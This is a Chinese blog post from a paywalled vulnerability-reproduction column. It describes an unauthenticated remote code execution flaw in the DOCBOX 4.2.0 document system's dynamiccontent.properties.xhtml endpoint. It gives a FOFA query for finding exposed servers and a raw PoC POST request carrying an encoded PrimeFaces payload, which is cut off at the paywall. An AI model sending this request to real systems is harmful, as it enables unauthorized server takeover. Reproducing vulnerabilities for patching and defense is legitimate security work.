DOCBOX dynamiccontent.properties.xhtml RCE漏洞复现

已于 2023-12-06 21:15:19 修改
阅读量700 收藏 10
点赞数 10
分类专栏： 漏洞复现 文章标签： 安全 web安全
于 2023-12-06 16:53:20 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41904294/article/details/134835420
版权
本文档介绍了DOCBOX 4.2.0版本中dynamiccontent.properties.xhtml接口的远程代码执行（RCE）漏洞，详细阐述了漏洞概述、复现环境、复现步骤以及修复建议。未经身份验证的攻击者可利用此漏洞获取服务器权限。建议受影响用户升级至安全版本。
摘要由CSDN通过智能技术生成

0x01 产品简介

 DOCBOX是一款具有恢复保证的文档管理系统，高效、快如闪电、防审核、简单，从模拟切换到数字并使用 DOCBOX® 归档您的文档。

0x02 漏洞概述

  DOCBOX电子文档管理系统4.2.0版本中dynamiccontent.properties.xhtml接口存在远程代码执行漏洞，未经身份认证的攻击者可以获取服务器权限。

0x03 复现环境

FOFA：body="docbox.webapp"

0x04 漏洞复现

PoC

POST /docbox.webapp/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0N
了解本专栏 订阅专栏 解锁全文 超级会员免费看
0xSecl
关注
  • 10
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
H3C 用户自助服务平台 dynamiccontent.properties.xhtml RCE漏洞复现
0xSec
03-11 661
H3C 用户自助服务平台 dynamiccontent.properties.xhtml 接口出存在命令执行漏洞，未经身份验证的攻击者可以利用此漏洞执行任意指令，写入后门文件，导致整个web服务器存在被控的风险。
maxView Storage Manager系统 dynamiccontent.properties.xhtml RCE漏洞复现
0xSec
12-06 743
maxView Storage Manager系统dynamiccontent.properties.xhtml存在代码执行漏洞，攻击者可通过 dynamiccontent.properties.xhtml 执行任意代码获取服务器权限。
XETUX软件 dynamiccontent.properties.xhtml RCE漏洞复现
0xSec
12-14 876
XETUX存在代码执行漏洞，攻击者可通过dynamiccontent.properties.xhtml执行任意代码获取服务器权限。
XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行漏洞
holyxp的博客
11-14 441
XETUX 是一个全面的解决方案，包括一套安全、强大和可监控的软件程序，专为自动控制餐厅和零售而设计和开发。XETUX 存在代码执行漏洞，攻击者可通过 dynamiccontent.properties.xhtml 执行任意代码获取服务器权限。
Goby 漏洞发布｜maxView Storage Manager 系统 dynamiccontent.properties.xhtml 远程代码执行漏洞
m0_46699477的博客
06-09 469
maxView Storage Manager 是一款企业存储和通信解决方案的管理系统。maxView Storage Manager 存在代码执行漏洞，攻击者可通过 dynamiccontent.properties.xhtml 执行任意代码获取服务器权限。maxView Storage Manager 存在代码执行漏洞，攻击者可通过 dynamiccontent.properties.xhtml 执行任意代码获取服务器权限。
用友U8 CRM import.php 文件上传致RCE漏洞复现
0xSec
07-19 1305
​用友U8CRM客户关系管理系统import.php 文件存在任意文件上传漏洞，未经身份验证的攻击者通过漏洞上传恶意后门文件，执行任意代码，从而获取到服务器权限。
电信网关配置管理系统 rewrite.php 文件上传致RCE漏洞复现
0xSec
05-10 925
​电信网关配置管理系统/manager/teletext/material/rewrite.php 接口存在文件上传漏洞，未经身份验证的远程攻击者可以利用文件上传漏洞获取系统权限。
Apereo CAS 4.1/4.x 反序列化RCE漏洞 漏洞复现
ADummy的博客
02-20 2002
Apereo CAS 4.1反序列化RCE漏洞 by ADummy 0x00利用路线 ​ 构造（可以使用ysoserial）可执行命令的序列化对象—>发送给目标61616端口—>访问web管理页面，读取消息，触发漏洞—>代码执行 0x01漏洞介绍 ​ Apereo CAS是企业级单点登录系统。CAS试图通过Apache Commons Collections库对对象进行反序列化的过程中存在一个问题，该案例引起了RCE漏洞。Apereo Cas一般是用来做身份认证的，所以有一定的攻击
ThinkPHP3.2.x RCE漏洞通报1
08-03
【ThinkPHP3.2.x RCE漏洞通报】中提到的安全问题涉及到ThinkPHP 3.2版本的一个严重远程代码执行漏洞。这个漏洞源于框架中的`assign`方法，该方法用于将变量传递给模板进行渲染。当攻击者能够控制`assign`方法的第一...
Thinkphp 5.0.x_5.1.x 变量覆盖 RCE 漏洞分析1
08-03
### ThinkPHP 5.0.x/5.1.x 变量覆盖远程代码执行（RCE）漏洞分析 #### 漏洞概述 ThinkPHP 5.0.x 和 5.1.x 版本中存在一个变量覆盖导致的远程代码执行（RCE）漏洞。该漏洞利用者可以通过对特定HTTP请求参数的精心...
深入探讨安全验证：OAuth2.0、Cookie与Session、JWT令牌、SSO与开放授权平台设计
努力的小雨，一个阳光向上的博客不仅仅给你知识更希望带给你快乐
08-09 941
CSRF（Cross-Site Request Forgery）攻击是一种利用受害者在已经认证的状态下执行非意愿操作的攻击方式。攻击者通过诱使受害者访问恶意网站或点击恶意链接，来执行未经授权的操作，例如修改密码、进行转账等，简单来说就是，由于cookie是在浏览器共享的，所以一旦设置了cookie，那么当你打开另一个tab页的时候，也会携带过去，那么其他站点就可以使用cookie进行攻击，具体如下：比如：当你在浏览器中打开银行A的网页并成功登录后，你想要进行转账操作。
DLMS/COSEM中的信息安全：安全密钥（中）
最新发布
huaqianzkh的专栏
08-09 637
PKI是安全基础设施它创造和管理公钥证书以便于使用公钥（即非对称密钥）加密。为了实现这一目标，PKI需要执行两个基本任务：a）验证绑定的准确性后，生成和分发公钥证书将公钥绑定到其他信息；b）维护和分发未到期证书的证书状态信息。对于DLMS/COSEM，可以预料分层PKI包括如图23所示的以下组件。——根证书机构（Root-CA）；——证书机构/下属机构（Sub-CA）；——终端实体：不颁发证书的实体：DLMS/COSEM客户机，DLMS/COSEM服务器和第三方。
Linux安全与高级应用（四）深入探索MySQL数据库：安装、管理与安全实践
洛秋的博客
08-07 1467
Linux：作为操作系统，提供稳定的运行环境。Apache：作为Web服务器，处理HTTP请求。MySQL：作为数据库管理系统，存储和管理数据。：作为脚本语言，生成动态网页。LAMP平台的优势在于其成本低廉、可定制性强、易于开发、方便易用且安全稳定。这使得LAMP成为许多企业和开发者的首选平台。通过以上步骤，我们完成了LAMP平台的部署及其主要组件的配置和测试。LAMP平台的搭建不仅为Web开发提供了一个强大的环境，同时也展现了其在成本和效率上的优势。
CC攻击解决方案，如何处理CC攻击
dexunyun的博客
08-09 779
CC攻击作为网络世界中的一大威胁，对网站的安全与稳定构成了严峻挑战。然而，通过部署安全加速SCDN，我们可以有效应对CC攻击，确保网站的安全与稳定。作为网络管理员和网站拥有者，我们应时刻保持警惕，不断提升自身的安全防护能力，为用户提供更加安全、可靠的网络服务。
自学黑客（网络安全）
热门推荐
2301_77160226的博客
08-05 2万+
想自学网络安全（黑客技术）首先你得了解什么是网络安全！什么是黑客！网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如 Web 安全技术，既有 Web 渗透，也有 Web 防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。
Thinkphp 5.0.x-5.1.x 变量覆盖RCE漏洞深度解析
ThinkPHP 5.0.x 和 5.1.x 版本的变量覆盖 Remote Code Execution (RCE) 漏洞分析是一篇关于ThinkPHP框架安全问题的文章，由作者whip1ash在2019年发布。文章指出，在这些早期版本中，存在一个可能导致恶意代码执行的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xSecl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值